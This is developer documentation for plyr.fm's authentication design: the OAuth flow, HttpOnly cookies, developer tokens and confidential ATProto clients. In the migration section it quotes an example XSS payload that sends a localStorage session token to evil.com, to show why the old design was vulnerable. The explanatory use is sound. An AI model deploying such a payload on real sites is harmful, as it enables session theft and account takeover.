authentication#

plyr.fm uses secure cookie-based authentication to protect user sessions from XSS attacks.

overview#

flow:

  1. user initiates OAuth login via /auth/start?handle={handle}
  2. backend redirects to user's PDS for authorization
  3. PDS redirects back to /auth/callback with authorization code
  4. backend exchanges code for OAuth tokens, creates session
  5. backend creates one-time exchange token, redirects to frontend
  6. frontend calls /auth/exchange with exchange token
  7. backend sets HttpOnly cookie and returns session_id
  8. all subsequent requests automatically include cookie
sequenceDiagram
    autonumber
    participant U as User Browser
    participant FE as Frontend (Svelte)
    participant API as Backend API
    participant PDS as User PDS
    participant DB as Session DB

    U->>FE: Visit /portal (unauthenticated)
    FE->>API: GET /auth/start?handle=handle
    API-->>U: 307 redirect to PDS authorize
    U->>PDS: Approve OAuth request
    PDS-->>API: /auth/callback (code, state, iss)
    API->>PDS: POST /oauth/token
    API->>DB: INSERT session (encrypted tokens)
    API-->>U: 303 redirect /portal?exchange_token=…
    FE->>API: POST /auth/exchange {exchange_token}
    API->>DB: UPDATE exchange token (mark used)
    API-->>FE: Set-Cookie session_id=… (HttpOnly)
    FE->>API: Subsequent fetches w/ credentials: include
    API->>DB: SELECT session via cookie
    API-->>FE: JSON response (tracks, likes, uploads…)

key security properties:

  • session tokens stored in HttpOnly cookies (not accessible to JavaScript)
  • cookies use Secure flag (HTTPS only in production)
  • cookies use SameSite=Lax (CSRF protection)
  • no explicit domain set (prevents cross-environment leakage)
  • frontend never touches session_id in localStorage or JavaScript

backend implementation#

setting cookies#

cookies are set in /auth/exchange after validating the one-time exchange token:

# src/backend/api/auth.py
if is_browser and settings.frontend.url:
    is_localhost = settings.frontend.url.startswith("http://localhost")

    response.set_cookie(
        key="session_id",
        value=session_id,
        httponly=True,
        secure=not is_localhost,  # secure cookies require HTTPS
        samesite="lax",
        max_age=14 * 24 * 60 * 60,  # 14 days
    )

environment behavior:

  • localhost: secure=False (HTTP development)
  • staging/production: secure=True (HTTPS required)
  • no domain parameter: cookies scoped to exact host (prevents staging→production leakage)

reading cookies#

auth dependencies check cookies first, fall back to Authorization header:

# src/backend/_internal/auth.py
async def require_auth(
    authorization: Annotated[str | None, Header()] = None,
    session_id: Annotated[str | None, Cookie(alias="session_id")] = None,
) -> Session:
    """require authentication with cookie (browser) or header (SDK/CLI) support."""
    session_id_value = None

    if session_id:  # check cookie first
        session_id_value = session_id
    elif authorization and authorization.startswith("Bearer "):
        session_id_value = authorization.removeprefix("Bearer ")

    if not session_id_value:
        raise HTTPException(status_code=401, detail="not authenticated")

    session = await get_session(session_id_value)
    if not session:
        raise HTTPException(status_code=401, detail="invalid or expired session")

    return session

parameter aliasing: Cookie(alias="session_id") tells FastAPI to look for a cookie named session_id (not the parameter name).

optional auth endpoints#

endpoints that show different data for authenticated vs anonymous users:

# src/backend/api/tracks.py
@router.get("/")
async def list_tracks(
    db: Annotated[AsyncSession, Depends(get_db)],
    request: Request,
    session_id_cookie: Annotated[str | None, Cookie(alias="session_id")] = None,
) -> dict:
    # check cookie or header
    session_id = (
        session_id_cookie
        or request.headers.get("authorization", "").replace("Bearer ", "")
    )

    # optional auth logic
    if session_id and (auth_session := await get_session(session_id)):
        # fetch liked tracks for authenticated user
        liked_track_ids = set(...)

examples:

  • /tracks/ - shows liked state if authenticated
  • /tracks/{track_id} - shows liked state if authenticated
  • /albums/{handle}/{slug} - shows liked state for album tracks if authenticated

frontend implementation#

sending cookies#

all requests include credentials: 'include' to send cookies:

// frontend/src/lib/auth.svelte.ts
const response = await fetch(`${API_URL}/auth/me`, {
    credentials: 'include'  // send cookies
});
// frontend/src/lib/uploader.svelte.ts (XMLHttpRequest)
const xhr = new XMLHttpRequest();
xhr.open('POST', `${API_URL}/tracks/`);
xhr.withCredentials = true;  // send cookies

no localStorage#

the frontend never reads or writes session_id to localStorage:

// ❌ OLD (vulnerable to XSS)
localStorage.setItem('session_id', sessionId);
const sessionId = localStorage.getItem('session_id');
headers['Authorization'] = `Bearer ${sessionId}`;

// ✅ NEW (secure)
// cookies automatically sent with credentials: 'include'
// no manual session management needed

auth state management#

auth state is checked via /auth/me:

// frontend/src/lib/auth.svelte.ts
async initialize() {
    try {
        const response = await fetch(`${API_URL}/auth/me`, {
            credentials: 'include'
        });

        if (response.ok) {
            const data = await response.json();
            this.user = { did: data.did, handle: data.handle };
            this.isAuthenticated = true;
        }
    } catch (error) {
        this.isAuthenticated = false;
    }
}

environment architecture#

all environments use custom domains on the same eTLD+1 (.plyr.fm) to enable cookie sharing between frontend and backend within each environment:

staging#

  • frontend: stg.plyr.fm (cloudflare pages project: plyr-fm-stg)
  • backend: api-stg.plyr.fm (fly.io app: relay-api-staging)
  • cookie domain: implicit (scoped to api-stg.plyr.fm)
  • CORS: backend allows https://stg.plyr.fm

production#

  • frontend: plyr.fm (cloudflare pages project: plyr-fm)
  • backend: api.plyr.fm (fly.io app: relay-api)
  • cookie domain: implicit (scoped to api.plyr.fm)
  • CORS: backend allows https://plyr.fm and https://www.plyr.fm

local development#

  • frontend: localhost:5173 (bun dev server)
  • backend: localhost:8001 (uvicorn)
  • cookie domain: implicit (scoped to localhost)
  • CORS: backend allows http://localhost:5173

why no explicit domain?

omitting the domain parameter prevents cookies from being shared across environments:

  • staging cookie (api-stg.plyr.fm) not sent to production (api.plyr.fm)
  • production cookie (api.plyr.fm) not sent to staging (api-stg.plyr.fm)

if we set domain=".plyr.fm", cookies would be shared across all subdomains, causing session leakage between environments.

why SameSite=Lax?#

SameSite=Lax provides CSRF protection while allowing same-site requests:

  • allows: navigation from stg.plyr.fmapi-stg.plyr.fm (same eTLD+1)
  • allows: fetch with credentials: 'include' from same origin
  • blocks: cross-site POST requests (CSRF protection)
  • blocks: cookies from being sent to completely different domains

alternative: SameSite=None

  • required for cross-site cookies (e.g., embedding widgets from external domains)
  • not needed for plyr.fm since frontend and backend are same-site
  • less secure (allows cross-site requests)

why HttpOnly?#

HttpOnly cookies cannot be accessed by JavaScript:

// ❌ cannot read HttpOnly cookies
console.log(document.cookie);  // session_id not visible

// ✅ cookies still sent automatically
fetch('/auth/me', { credentials: 'include' });

protects against:

  • XSS attacks stealing session tokens
  • malicious scripts exfiltrating credentials
  • account takeover via stolen sessions

does NOT protect against:

  • CSRF (use SameSite for that)
  • man-in-the-middle attacks (use Secure flag + HTTPS)
  • session fixation (use secure random session IDs)

migration from localStorage#

issue #237 tracked the migration from localStorage to cookies.

old flow (vulnerable):

  1. /auth/exchange returns { session_id: "..." }
  2. frontend stores in localStorage: localStorage.setItem('session_id', sessionId)
  3. every request: headers['Authorization'] = Bearer ${localStorage.getItem('session_id')}
  4. ❌ any XSS payload can steal: fetch('https://evil.com?token=' + localStorage.getItem('session_id'))

new flow (secure):

  1. /auth/exchange sets HttpOnly cookie AND returns { session_id: "..." }
  2. frontend does nothing with session_id (only for SDK/CLI clients)
  3. every request: credentials: 'include' sends cookie automatically
  4. ✅ JavaScript cannot access session_id

backwards compatibility:

  • backend still returns session_id in response body for non-browser clients
  • backend accepts both cookies and Authorization headers
  • SDK/CLI clients unaffected (continue using headers)

security checklist#

authentication implementation checklist:

  • cookies use HttpOnly flag
  • cookies use Secure flag in production
  • cookies use SameSite=Lax or SameSite=Strict
  • no explicit domain set (prevents cross-environment leakage)
  • frontend sends credentials: 'include' on all requests
  • frontend never reads/writes session_id to localStorage
  • backend checks cookies before Authorization header
  • CORS configured per environment (only allow same-origin)
  • session tokens are cryptographically random
  • sessions expire after reasonable time (14 days)
  • logout properly deletes cookies

testing#

manual testing#

test cookie is set:

  1. log in at https://stg.plyr.fm
  2. open DevTools → Application → Cookies → https://api-stg.plyr.fm
  3. verify session_id cookie exists with:
    • HttpOnly: ✓
    • Secure: ✓
    • SameSite: Lax
    • Path: /
    • Domain: api-stg.plyr.fm (no leading dot)

test cookie is sent:

  1. stay logged in
  2. open DevTools → Network tab
  3. navigate to /portal or any authenticated page
  4. inspect request to /auth/me
  5. verify Cookie: session_id=... header is present

test cross-environment isolation:

  1. log in to staging at https://stg.plyr.fm
  2. open https://plyr.fm (production)
  3. verify you are NOT logged in (staging cookie not sent to production)

troubleshooting#

cookies not being set#

symptom: /auth/exchange returns 200 but no cookie in DevTools

check:

  1. is FRONTEND_URL environment variable set?
    flyctl ssh console -a relay-api-staging
    echo $FRONTEND_URL
    
  2. is request from a browser (user-agent header)?
  3. is response using HTTPS in production (Secure flag requires it)?

cookies not being sent#

symptom: /auth/me returns 401 even after login

check:

  1. frontend using credentials: 'include'?
  2. CORS allowing credentials?
    # backend MUST allow credentials
    allow_credentials=True
    
  3. origin matches CORS regex?
  4. SameSite policy blocking request?

localhost cookies not working#

symptom: cookies work in staging/production but not localhost

check:

  1. is FRONTEND_URL=http://localhost:5173 set locally?
  2. frontend and backend both on localhost (not 127.0.0.1)?
  3. backend using secure=False for localhost?

developer tokens (programmatic access)#

for scripts, CLIs, and automated workflows, create a long-lived developer token:

creating a token#

via UI (recommended):

  1. go to portal → "your data" → "developer tokens" section
  2. optionally enter a name (e.g., "upload-script", "ci-pipeline")
  3. select expiration (30/90/180/365 days or never)
  4. click "create token"
  5. authorize at your PDS (you'll be redirected to approve the OAuth grant)
  6. copy the token immediately after redirect (shown only once)

via API:

// step 1: start OAuth flow (returns auth_url to redirect to)
const response = await fetch('/auth/developer-token/start', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    credentials: 'include',
    body: JSON.stringify({ name: 'my-script', expires_in_days: 90 })
});
const { auth_url } = await response.json();
// step 2: redirect user to auth_url to authorize at their PDS
// step 3: on callback, token is returned via exchange flow

managing tokens#

list active tokens: the portal shows all your active developer tokens with:

  • token name (or auto-generated identifier)
  • creation date
  • expiration date

revoke a token:

  1. go to portal → "your data" → "developer tokens"
  2. find the token in the list
  3. click "revoke" to immediately invalidate it

via API:

# list tokens
curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens

# revoke by prefix (first 8 chars shown in list)
curl -X DELETE -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens/abc12345

using tokens#

set the token in your environment:

export PLYR_TOKEN="your_token_here"

use with any authenticated endpoint:

# check auth
curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/me

CLI usage (scripts/plyr.py):

# list your tracks
PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py list

# upload a track
PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py upload track.mp3 "My Track"

# download a track
PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py download 42 -o my-track.mp3

# delete a track
PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py delete 42 -y

configuration#

backend settings in AuthSettings:

  • developer_token_default_days: default expiration (90 days)
  • developer_token_max_days: max allowed expiration (365 days)
  • use expires_in_days: 0 to request the maximum allowed by refresh lifetime

how it works#

developer tokens are sessions with their own independent OAuth grant. when you create a dev token, you go through a full OAuth authorization flow at your PDS, which gives the token its own access/refresh credentials. this means:

  • dev tokens can refresh independently (no staleness when browser session refreshes)
  • each token has its own DPoP keypair for request signing
  • logging out of browser doesn't affect dev tokens (cookie isolation)
  • revoking browser session doesn't affect dev tokens

dev tokens can:

  • read your data (tracks, likes, profile)
  • upload tracks (creates ATProto records on your PDS)
  • perform any authenticated action

security notes:

  • tokens have full account access - treat like passwords
  • revoke individual tokens via the portal or API
  • each token is independent - revoking one doesn't affect others
  • token names help identify which token is used where
  • tokens require explicit OAuth consent at your PDS

OAuth client types: public vs confidential#

ATProto OAuth distinguishes between two types of clients based on their ability to authenticate themselves to the authorization server.

what is a confidential client?#

a confidential client is an OAuth client that can prove its identity to the authorization server using cryptographic keys. the term "confidential" means the client can keep a secret - specifically, an ES256 private key that never leaves the server.

public client (default):

  • cannot authenticate itself (uses token_endpoint_auth_method: "none")
  • anyone could impersonate your client_id
  • authorization server issues 2-week refresh tokens

confidential client (with OAUTH_JWK):

  • authenticates using private_key_jwt - signs a JWT with its private key
  • authorization server verifies signature against your /.well-known/jwks.json
  • proves the request actually came from your server
  • authorization server issues 180-day refresh tokens

why this matters for plyr.fm#

with public clients, the underlying ATProto refresh token expires after 2 weeks regardless of what we store in our database. users would need to re-authenticate with their PDS every 2 weeks.

with confidential clients:

  • developer tokens work long-term - not limited to 2 weeks
  • users don't get randomly kicked out after 2 weeks of inactivity
  • sessions last up to refresh lifetime as long as tokens are refreshed within 180 days

how it works#

  1. key generation: generate an ES256 (P-256) keypair

    uv run python scripts/gen_oauth_jwk.py
    
  2. configuration: set OAUTH_JWK env var with the private key JSON

  3. JWKS endpoint: backend serves public key at /.well-known/jwks.json

    • authorization server fetches this to verify our signatures
  4. client metadata: /oauth-client-metadata.json advertises:

    {
      "token_endpoint_auth_method": "private_key_jwt",
      "token_endpoint_auth_signing_alg": "ES256",
      "jwks_uri": "https://plyr.fm/.well-known/jwks.json"
    }
    
  5. token requests: on every token request (initial AND refresh), the library:

    • creates a short-lived JWT (client_assertion) signed with our private key
    • includes client_assertion_type and client_assertion in the request
    • PDS verifies signature → issues long-lived tokens

implementation details#

the confidential client support lives in our atproto fork (zzstoatzz/atproto):

# packages/atproto_oauth/client.py
client = OAuthClient(
    client_id='https://plyr.fm/oauth-client-metadata.json',
    redirect_uri='https://plyr.fm/auth/callback',
    scope='atproto ...',
    state_store=state_store,
    session_store=session_store,
    client_secret_key=ec_private_key,  # enables confidential client
)

when client_secret_key is set, _make_token_request() automatically adds client assertions to all token endpoint calls (initial exchange, refresh, revoke).

key rotation#

for key rotation:

  1. generate new key with different kid (key ID)
  2. add both keys to JWKS (old and new)
  3. deploy - new tokens use new key, old tokens still verify
  4. after 180 days, remove old key from JWKS

token refresh mechanism#

plyr.fm automatically refreshes ATProto tokens when they expire. here's how it works:

  1. trigger: user makes a PDS request (upload, create record, etc.)
  2. detection: PDS returns 401 Unauthorized with "exp" in error message (access token expired)
  3. refresh: _refresh_session_tokens() in _internal/atproto/client.py:
    • acquires per-session lock (prevents race conditions)
    • calls OAuthClient.refresh_session() with the refresh token
    • for confidential clients: signs a client assertion JWT
    • PDS verifies assertion → issues new tokens
    • saves new tokens to database
  4. retry: original request retries with fresh tokens

what gets refreshed:

  • access token: short-lived (~minutes), refreshed frequently
  • refresh token: long-lived (2 weeks public, 180 days confidential), rotated on each use

observability: look for these log messages in logfire:

  • "access token expired for did:plc:..., attempting refresh"
  • "refreshing access token for did:plc:..."
  • "successfully refreshed access token for did:plc:..."

migration: deploying confidential client#

when deploying confidential client support, existing sessions continue to work but have limitations:

aspect existing sessions new sessions (post-deploy)
plyr.fm session unchanged unchanged
ATProto refresh token 2-week lifetime (public client) 180-day lifetime (confidential)
behavior at 2 weeks refresh fails → re-auth needed continues working

what happens to existing tokens:

  1. existing sessions were created as "public client" - the PDS issued 2-week refresh tokens
  2. those refresh tokens cannot be upgraded - they have a fixed expiration
  3. when the refresh token expires, the next PDS request will fail
  4. users will need to re-authenticate to get new sessions with 180-day refresh tokens

timeline example:

  • dec 8: user creates dev token (public client, 2-week refresh)
  • dec 22: ATProto refresh token expires
  • user tries to upload → refresh fails → 401 error
  • user creates new dev token → now gets 180-day refresh

production impact (as of deployment):

  • most browser sessions expire within 14 days anyway (cookie max_age)
  • developer tokens are affected most - they have 90+ day session expiry but 2-week refresh
  • only 3 long-lived dev tokens in production (internal accounts)
  • new sessions will automatically get 180-day refresh tokens

sources#

references#